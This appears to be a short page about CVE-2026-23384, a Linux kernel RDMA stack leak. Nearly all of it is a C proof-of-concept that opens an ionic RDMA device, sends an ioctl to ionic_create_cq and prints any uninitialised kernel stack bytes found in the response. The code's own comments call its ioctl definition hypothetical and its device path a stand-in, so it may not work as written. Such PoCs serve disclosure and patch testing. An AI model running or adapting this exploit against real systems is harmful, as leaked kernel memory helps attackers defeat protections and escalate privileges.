CVE-2026-23384 Linux内核RDMA栈泄露漏洞

/* * PoC for CVE-2026-23384: Kernel Stack Leak in ionic_create_cq * This code demonstrates how to trigger the vulnerability by interacting * with the vulnerable driver to leak uninitialized kernel stack memory. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // Hypothetical command definition based on vulnerability context #define IONIC_CREATE_CQ _IOWR('R', 0x1, struct ionic_cq_resp) struct ionic_cq_resp { __u32 cqid[2]; __u8 udma_mask; __u8 rsvd[7]; // The vulnerable field leaking 7 bytes }; int main() { int fd = -1; struct ionic_cq_resp resp; printf("[+] Attempting to open RDMA device...\n"); // In a real scenario, this would be the actual device node fd = open("/dev/ionic_rdma", O_RDWR); if (fd < 0) { perror("[-] Failed to open device (Driver not loaded or permissions denied)"); return 1; } // Clear the response structure to easily identify leaked non-zero bytes memset(&resp, 0, sizeof(resp)); printf("[+] Triggering ionic_create_cq via ioctl...\n"); // This ioctl call triggers the vulnerable kernel path if (ioctl(fd, IONIC_CREATE_CQ, &resp) < 0) { perror("[-] IOCTL failed"); close(fd); return 1; } printf("[+] Checking response for kernel memory leaks...\n"); int leaked = 0; // Check the reserved field for non-zero bytes for (int i = 0; i < 7; i++) { if (resp.rsvd[i] != 0) { printf("[!] Leak detected in rsvd[%d]: 0x%02x\n", i, resp.rsvd[i]); leaked = 1; } } // Check cqid[1] which might be uninitialized depending on udma_mask if (resp.cqid[1] != 0) { printf("[!] Leak detected in cqid[1]: 0x%08x\n", resp.cqid[1]); leaked = 1; } if (!leaked) { printf("[-] No obvious leaks detected (might be patched or memory was zeroed).\n"); } close(fd); return 0; }